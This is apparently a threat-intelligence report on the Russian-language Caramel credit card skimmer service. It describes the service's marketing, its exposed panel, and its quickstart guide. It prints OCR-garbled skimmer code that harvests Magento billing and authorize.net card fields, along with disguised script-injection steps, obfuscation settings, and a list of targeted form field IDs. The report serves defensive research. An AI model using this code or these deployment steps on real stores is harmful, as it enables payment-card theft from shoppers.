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Figure 1: One variation of CaramelCorp logo and branding, likely created by the threat actor
“Mazafaker.”

Credit card skimmers running on compromised ecommerce websites continue to threaten
financial institutions, online merchants, and consumers, leading to cycles of fraud and
victimization that can reverberate for years. Even with prompt detection and remediation, the
manner in which stolen data is exploited and distributed within cybercrime communities—
typically long before victims realize their payment details were obtained illegally—only
compounds this problem.

Skimmers use seemingly benign JavaScript deployed on a legitimate, but compromised,
ecommerce website that “skims” payment form data and sends it to a malicious host before
submitting that form data to that same ecommerce website, leaving the victim none the
wiser.

Skimming has proven itself to be an extremely lucrative form of cybercrime. This success
gave rise to a specialized underground economy with skimmer-as-a-service providers at its
core. These services provide everything an aspiring cybercriminal needs to steal payment
form data—a skimmer script, methods for deploying that skimmer, and a management panel
to track and validate skimming campaigns. The significance of skimming services cannot be
understated. Technical barriers to entry that once existed are simply no longer there, making
skimming all the more easy to commit.

The threat posed by credit card skimmers illustrates the interplay between adversary
creativity, technical execution, and human behavior, namely the exploitation of trust and
perception of safety in everyday activities.
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Since skimming relies on a legitimate, though compromised, ecommerce website
running malicious code, these attacks are often difficult to detect by user and
administrator alike.

Even the most cautious user will often let their guard down on familiar websites. And, at the
very same time, the threat actors behind skimming attacks make similar mistakes. This is the
case here.

This series explores a number of obscure but premium services that enable cybercrime and
online fraud to thrive and scale. Here, we explore an obscure but noteworthy skimmer-as-a-
service named Caramel sold by an organization named CaramelCorp.

A growing problem

Given the relative ease of deployment compared to more complex attack vectors and the
high success rate such campaigns often have (especially when running on a high-volume
seller’s website), skimming activity unsurprisingly continues to grow in popularity. Several
factors contribute to this trend, including:

1. A supply of vulnerable ecommerce websites that are easy to identify en masse and
often lack a dedicated security team are easy targets.

2. The relative ease of malicious JavaScript injection, whether done programmatically or
added using a website’s administration panel, in addition to other techniques using a
wide range of tools and services promoted within cybercrime communities.

3. The potential for a significant return on investment for compromised high-volume
sellers even when merchants promptly detect and remediate such an attack offsets the
risk of running such an operation.

4. Exploiting and offloading stolen data is a “cheap and easy” endeavor compared to
complex fraud but also can provide the foundation for high-value, targeted fraud
operations.

5. Skimming operations are nimble and adapt to counter defender detection methods,
including thorough obfuscation and anti-analysis tactics, and frequently deploy
skimmers in bulk.

These skimming campaigns can also be managed from a centralized panel, allowing
attackers to monitor and adjust their activities to maximize profits. Additionally, centralized
management infrastructure used by skimming-as-a-service likely means stolen payment data
ends up in the hands of several criminals, perhaps without their knowledge.

Caramel Skimmer

4/17



CARAMELPANEL

Login

Password

-]

Figure 2: Caramel management panel found at caramelcorpl.Jcc.

CaramelCorp is a Russian-language credit card skimming service with a significant
cybercrime forum presence. They appear to screen prospective customers carefully and are
reluctant to interact with non-Russian speakers. Like other cautious cybercrime services,
CaramelCorp appears to use fluency and familiarity with modern idiomatic language and
cultural references as an initial vetting mechanism. Further, CaramelCorp generally refuses
to sell licenses to inexperienced carders, likely in order to mitigate potential exposure arising
from customer incompetence. This reluctance is perhaps one reason Caramel avoids
significant scrutiny from security vendors and researchers. Their purported selectivity,
however, appears to contradict some artifacts discovered as part of this investigation.

A lifetime subscription for Caramel sells for 2,000 USD, provided CaramelCorp agrees to
sell. Their marketing claims to have a number of valuable features for supporting credit card
skimming activities. These features broadly belong to four groups: (1) deployment, (2)
collection, (3) administration, and (4) anti-detection measures. Also noteworthy is the
flexibility of their data processing and exfiltration. Code comments suggest more than one
developer works on the Caramel skimmer.
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Figure 3: Russian language post promoting the Caramel skimmer.

One threat actor promoting CaramelCorp uses the handle “letszOck3r” and has a significant
presence on a number of Russian-language cybercrime forums in addition to a Telegram
presence. Such actor’s cybercrime activities are not limited to credit card skimming.

letszOck3r

| MNons3oeaTens |

Hoasiid nonsaosaTens

9 Anp 2019
1 Aum 2021

Figure 4: Profile header for “letszOck3r.”
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letszOck3r 10 Aua 2019

BblBOOWTE HE BM, MOBH.I'I}'. ceiiuac HayHy ciofa 3akMabiBaTb aKM4M, BLIBOOWTE HA 3[0POBLE)

ABTOpW3aLWA -

TenedhoH - HeT | MoaTeepmaeHwe: HeT
MoaTeepxoeHue NoYTsl - Aa

BanaHc - 202.46 RUB | Oxxmpanwe - 7.88 RUB

ABTOpWIALIWA - @yandex.ru:
TenedioH - HeT | MoaTeepwOeHWE: HeT
MogTeepXoeHue NouyTeLl - ga

H a Banawc - 104.31 RUB | Oxupanue - 104.31 RUB

Craryc:
ParwoTpaumn: 8 Asr 2017
CoobilieHWA: 21

AsTopuzauun - @mail.ru:
TenedoH - HeT | MogTBepMOBHWE: HET
MogTeepneHWe NoYTel - Oa

Bananc - 200 RUB | Oxupnasue - 0 RUB

Peakumm: az

AeTopuaauuA - @yandex.
TenedyoH - HeT | MogTBepPXOEHWE: HET
MoaTeepxaeHWe noyTsl - aa

BanaHc - 50 RUB | Oxwnanue - 0 RUB

ABTOpW3aLWA -

TenedioH - HeT | MoaTeepwaeHwe: HeT
MoaTeepXoeHWe NoYTsl - HET

Bananc - 91.16 RUB | Oxupanuwe - 0 RUB

Figure 5: Forum post offloading spent and/or low value account credentials to other forum
members.

Deployment

CaramelCorp marketing materials include unverified claims that Caramel can bypass certain
services from Akamai, Cloudflare, and Incapsula, among others. Further, CaramelCorp
claims to provide easily deployable gateways to receive skimmed data and capabilities to
monitor them for downtime. Additionally, CaramelCorp offers a quickstart guide on JavaScript
skimming methods targeting several ecommerce content management systems.

Collection

Like other modern credit card skimmers, Caramel uses the setinterval() method that calls the
“send” function every second regardless of whether a target submits form data. This method
ensures data exfiltration for even partially completed form fields.

In essence, even targets that decide not to purchase an item during a website’s
checkout flow still lose a portion of their payment data to the skimmer’s operators.
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CaramelCorp also claims that their skimmers can be deployed using a variety of file types to
help evade detection.

Administration

A management panel allows monitoring and management of compromised online merchants
along with performance tracking. CaramelCorp also claims to provide easily deployable
gateways to receive skimmed data, though it appears that they merely provide a how-to and
basic configuration guide. This management panel focuses on minimizing attack surface by
eliminating unnecessary code, which may not be the case.

Anti-Detection Measures

CaramelCorp claims their obfuscated JavaScript is undetected by most scanners. To achieve
some of these claims, CaramelCorp recommends the legitimate, albeit heavily abused,
JavaScript Obfuscator tool.

A Small Misstep

A React application, CaramelCorp’s management panel contains several technical missteps
related to authentication and what static content they chose to include for unauthenticated
visitors. Perhaps the most interesting of these is what CaramelCorp chose to include as
comments in their code. Also noteworthy are the form fields, support for several CMS
platforms, and how this skimmer processes data.

Index of build/ static/ js/

[ 2.55840fb5.chunk.js [Y 2.55840fb5.chunkjs.LICEN...  [% 2.55840fb5.chunk.js.map
D 3.a871ciBb.chunk.js D 3.a871ciBb.chunk.js.map D main.4aa31586.chunk.js [B main.4aad1586.chunk.js.map
[E runtime-main.1869e5e5.js [E runtime-main.1869e5e5.js....

Figure 6: Open directory containing JavaScript and source map files for caramelcorp|.]cc.

An open directory exposed to the public web containing a sourcemap file also revealed at
least a portion of Caramel’s quickstart guide along with a glimpse into their skimming
apparatus.
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Index of build/ static/ media/

[ 1.06t38f7b.jpeg (Y 1.18771297.jpeg (Y 1.a75241d5.jpeg
(Y 1.dc3al3da.jpeg [Y 2.6cb66610.jpeg (Y 3.bdec4609.ipeg EJ 32.ab54683f.png
B 4.d4d574b2.jpeg [E 5.4e38c283.jpeg E bg.led1d524.jpg EJ drop.b1afd05d.svg
B font.687743aa.ttf Bd logo.e2cceb2b.gif

Figure 7: Open directory containing image assets for caramelcorp[.]Jcc, including code
screenshots.

An additional open directory revealed images contained in this quickstart guide as well,
including what they claim to be a successfully deployed Caramel skimmer on a compromised
Nigerian ecommerce store.

PAY WITH

Enter your card detals to pay

[EX Transfor

Pasie

Paste and Match Style

Language Settings

Inspect

Figure 8: A screenshot found in a caramelcorp|.]Jcc open directory allegedly showing a
properly deployed and working skimmer deployment on what appears to be a compromised
Nigerian ecommerce website.

CaramelCorp also uploaded a screenshot of their recommended JavaScript Obfuscator
settings, included in part below. Including such a screenshot suggests their quickstart guide
is focused on supporting less technically adept customers.
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. Strings Transformations Identifiers Transformations Other Transformations
Reset options

« String Array Identifier Names Generator | Compact
Options Preset
Rotate String Array Hexadecimal b | Simplify
Default -
Shuffle String Array
Transform Object Keys
Target String Array Threshold
Browser - 08 3 Numbers To Expressions
Identifiers Prefix
v String Al Index Shift
Seed Ll b s Control Flow Flattening
0 3 String Array Indexes Type
Hexadecimal - Rename Globals
Number x
Disable Console Output Rename Properties
String Array Wrappers Count
: Dead Code Injection
' Self Defending 1 z Reserved Names
. +
Debug Protection String Array Wrappers Type
Variable v
|gnore Require Imports
Domain lock
+ « String Array Wrappers Chained
Calls
String Array Encoding
Enable Source Map
None x -
Split Strings
Unicode Escape Sequence

Force Transform Strings

Reserved Strings

Figure 9: A partial screenshot of the preferred JavaScript Obfuscator tool settings to hide the
Caramel card skimmer.

The JavaScript Obfuscator tool offers several transformations that make detection and
analysis more difficult, including string array rotation, array shuffling, string array encoding,
unicode escape sequencing, control flow flattening, and dead code injection. Ultimately, such
functionality—though robust—makes detection and analysis more difficult, but it does not
necessarily prevent it. This is especially true when a threat actor recommends specifically
how to use such a tool in conjunction with a credit card skimmer.
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CaramelCorp administrators also uploaded screenshots of JavaScript that match those
analyzed in this report and, notably, the baseURL https://caramelcorpl.]cc/api.

var A = d.create({
baseURL: "https://caramelcorp.cc/api",
headers: Z
b,
function() {
function(e) {
A.get("/shops/count").then((function(n) {
console. log(n.data), e({
type: "“SET_GROUP_DATA_COINT",
payload: {
content: n.data
}
})
})).catch{(function(e) {}))

}
function() {
function(e) {
p.get("/cards/countByDate/" localStorage.accessRef).then((function(n) {
console. log(n.data), e({
type: “SET_CART_DATA_COINT",
payload: {
content: n.data
}
})
})).catch((function(e) {}))

interval

inction mathBA() {
ir fname - document.getElementById("billing:firstname").value;
Lname - document.getElementById("billing:lastname").value;

i~ _chname fname lname;

- address document.getElementById("billing:streetl").value;
city - document.getElementById("billing:city").value;
stateSelect document.getElementById("billing: region_id");
state stateSelect.options[stateSelect.selectedIndex].text;
zip document.getElementById{"billing:postcode"”).value;

r _phone - document.getElementById{"billing:telephone").value;
countrySelect document.qgetElementById("billing:country_id");




var country - countrySelect.options[countrySelect.selectedIndex].text;
var _billing = address iy city + " " state + " " country;
var _Ij.l] I.'LI].
var _agent - pavigator.userAgent;
var hostname (function() 4
var url document .. URL:
pathname URL(url).host;
FERGLETEH
H
();

r data ~ {
phone: _phone,
zip: _zip,
billing: _billing,
chname: _chname,
uagent: _agent,
uri: hostname

b
window. localStorage.setItem('ba’', JSON.stringify(data));

ction mathCC() {
var _cn document.qetElementById('authorizenet_cc_number').value;
_mm document.getElementById('authorizenet expiration').value;
I _yy document.getElementById{ "authorizenet_expiration yr').value;
ir _Ccvy document.getElementById('authorizenet cc cid').value;
Fooexp - _mm i
r _bin - _ecn.slice(®

yr data - {
num: _cn,
bin: _bin,
exp: _exp,
Cuv: _cwy

rindow. LlocalStorage.setItem{'cc', JSON.stringifyldata));

Figure 11: A code snippet showing one example of the mathBA and mathCC functions that
the Caramel skimmer appears to be built around.

CaramelCorp appears to recommend an extremely simple method for deployment:
accessing a CMS administration panel and manually adding a script. A section of their
quickstart guide includes a screenshot of a Magento administrator panel:




Default Robots INDEX, FOLLOW = [STORE VIEW]

Miscellaneous Scripis <script src="hitps:figoogle.com/google- [STORE VIEW]
fonts2.1.minjs™></script>

)

This will be included before head closing tag in page
HTML.

Figure 12: Screenshot demonstrating where Caramel customers should add their skimmer
script if they have access to a Magento administrator panel. The quickstart guide appears
focused on beginners and does not contain information on programmatic code injection.

Analysis of Caramel source map and Javascript files revealed significant amounts of
encoded Cyrillic character text, specifically Russian. Translating this text to English revealed
a how-to guide on deploying the Caramel skimmer.

Figure 13: Screenshot of encoded Cyrillic character text.

We have included portions of this quickstart guide below along with English translations. For
example, when a customer attempts manual deployment of a skimming script using a
Magento administrator panel, CaramelCorp includes a stern warning:
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“HN B KOEM CNYYAE HE CTABWUTb CKPUNT B WCXOAHOM BUAE!
MOXET NPWUBECTW KMOMEHTAJIbHOMY JAETEKTY.”

Translated:

“DO NOT PUT THE SCRIPT IN THE SOURCE IN ANY CASE!
MAY LEAD TO AN INSTANT DETECTION.”

Other noteworthy sections of the Caramel skimmer quickstart guide include:

“©yHKumMn mathCCu mathBa OTBETCTBEHHb 3a CO34aHMA HYXHOrO0 MaccuBa, KOTOpbiA 6yaeTt
oTnpaBneH Ha cepBep. MouyTn Bcerga B ¢opme onnathl HA Magento MCMoONbL3yWTCHA Takue
HanmeHoBaHMsA id kak billing:firstname... [Ona 6unanHra u gna onnathbl
authorizenet_cC_number n T4. B cuTyauumn kKorga noser He coBnajawT Hafo TO/IbKO MOMEHATb
nma BHYTpu ckobkax.”

"The functions mathCC and mathBA are responsible for creating the required array that
will be sent to the server. Almost always in the Magento payment form, id names such
as billing:firstname.. are used. For billing and payment, authorizenet_cc_number, etc.

In a situation where fields do not match, you only need to change the name inside the
brackets.”

CaramelCorp elaborates on the role of the mathCC and mathBA functions:

“yHkuma send, Bbi3biBaeT mathCC n mathBa gns coxpaHeHus AaHHbLIX B 2 MEePEMEHHbIX U
kogumpyeTcsa B base64 ans oTnpaBku Ha cepBep. CepBep AeKOoAMPYeT 3TOT TOKEH B HYXHbIA
dopmaT gna coxpaHeHus B 6ase paHHbIx.”

"The send function calls mathCC and mathBA to store the data in 2 variables and
Base64 encode it to send it to the server. The server decodes this token into the

proper format to store it in the database."

To properly deploy, CaramelCorp reminds customers to change the skimmer gateway to one
the customer controls:

"ONA ycrewHol oTnpaBKU HaLO MNMOMEHATb TOMIbKO CChIIKY B MNepemMeHHol gateway."

"To successfully send, you only need to change the link in the gateway variable."

On purchasing domains and hostings, CaramelCorp has the following recommendations:
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"PekomeHayeTcs 6paTb AOMeH C www.epik.Com Bbl6Op MMEHM AOMEHa BaxeH A/ NPUBA3KU ero K
CKpUNTy, rpe 6yayT OTCbNATbCA 3amnpochl.

Mpu NoKynke foMeHa He 3ab6biBaeM KynuTb U SSL cepTUPUKAT, €ro MOXHO KymnuTb MO
aZleKBaTHbIM AeHbram Ha namecheap.com

Takxe pna MNOAHATUA TeinTa Ham HyxeH M VPS. Ha bitlaunch.io koHdurypatop MnossonsieTt
apeHAoBaTb MO XOpoWwel LUeHe MpuBaTHbLIi CepBep CO BCEMU HYXHbIMW HacTponku.”

"It is recommended to acquire a domain from www.epik[.]com. The choice of a domain
name is important for linking it to the script where requests will be sent..

When buying a domain, do not forget to buy an SSL certificate. You can buy it for an
acceptable price on namecheap[.]com.

We also need a VPS to RAISE the gate. [Bitlaunch] lets you rent a private server with
all the necessary settings at a good price.”

We assess that CaramelCorp and similar services will continue to grow their customer
bases, selling tools and capabilities that lower the barriers to entry for a highly effective type
of cybercrime, despite their marketing claims suggesting otherwise.

Appendix

Example form fields targeted by the Caramel skimmer, spanning multiple CMS platforms
found in Caramel JS files:
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"billing:city"
"billing:country_id”
"billing:firstname"
"pbilling:lastname"
"billing:postcode"
"billing:region_id”
"billing:street1"
"billing:telephone”
"cc_owner”
"input-payment-address-1”
"input-payment-city”
"input-payment-country”
"input-payment-telephone”
"input-payment-zone”
"traycheckoutapi_cc_owner”
“authorizenet_cc_cid”
“authorizenet_cc_number”
“authorizenet_expiration_yr”
“authorizenet_expiration”
“billing:country_id"
“cc_cvv2”

“cc_number”
“checkout-step-review”
“expiry”
“input-payment-postcode”
“journal-checkout-confirm-button”
“traycheckoutapi_cc_cid”
“traycheckoutapi_cc_number”
“traycheckoutapi_expiration_yr”
“traycheckoutapi_expiration”
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Necessary cookies are absolutely essential for the website to function properly. These
cookies ensure basic functionalities and security features of the website, anonymously.

Cookie Duration Description
cookielawinfo- 11 This cookie is set by GDPR Cookie Consent plugin.
checkbox-analytics months The cookie is used to store the user consent for the

cookies in the category "Analytics".

cookielawinfo- 11 The cookie is set by GDPR cookie consent to record

checkbox-functional months the user consent for the cookies in the category
"Functional".

cookielawinfo- 11 This cookie is set by GDPR Cookie Consent plugin.

checkbox-necessary = months The cookies is used to store the user consent for the
cookies in the category "Necessary".

cookielawinfo- 11 This cookie is set by GDPR Cookie Consent plugin.
checkbox-others months The cookie is used to store the user consent for the
cookies in the category "Other.

cookielawinfo- 11 This cookie is set by GDPR Cookie Consent plugin.
checkbox- months The cookie is used to store the user consent for the
performance cookies in the category "Performance".
viewed_cookie_policy 11 The cookie is set by the GDPR Cookie Consent plugin

months and is used to store whether or not user has
consented to the use of cookies. It does not store any
personal data.

Functional cookies help to perform certain functionalities like sharing the content of the
website on social media platforms, collect feedbacks, and other third-party features.

Performance cookies are used to understand and analyze the key performance indexes of
the website which helps in delivering a better user experience for the visitors.

Analytical cookies are used to understand how visitors interact with the website. These
cookies help provide information on metrics the number of visitors, bounce rate, traffic
source, eftc.

Advertisement cookies are used to provide visitors with relevant ads and marketing
campaigns. These cookies track visitors across websites and collect information to provide
customized ads.

Other uncategorized cookies are those that are being analyzed and have not been classified
into a category as yet.
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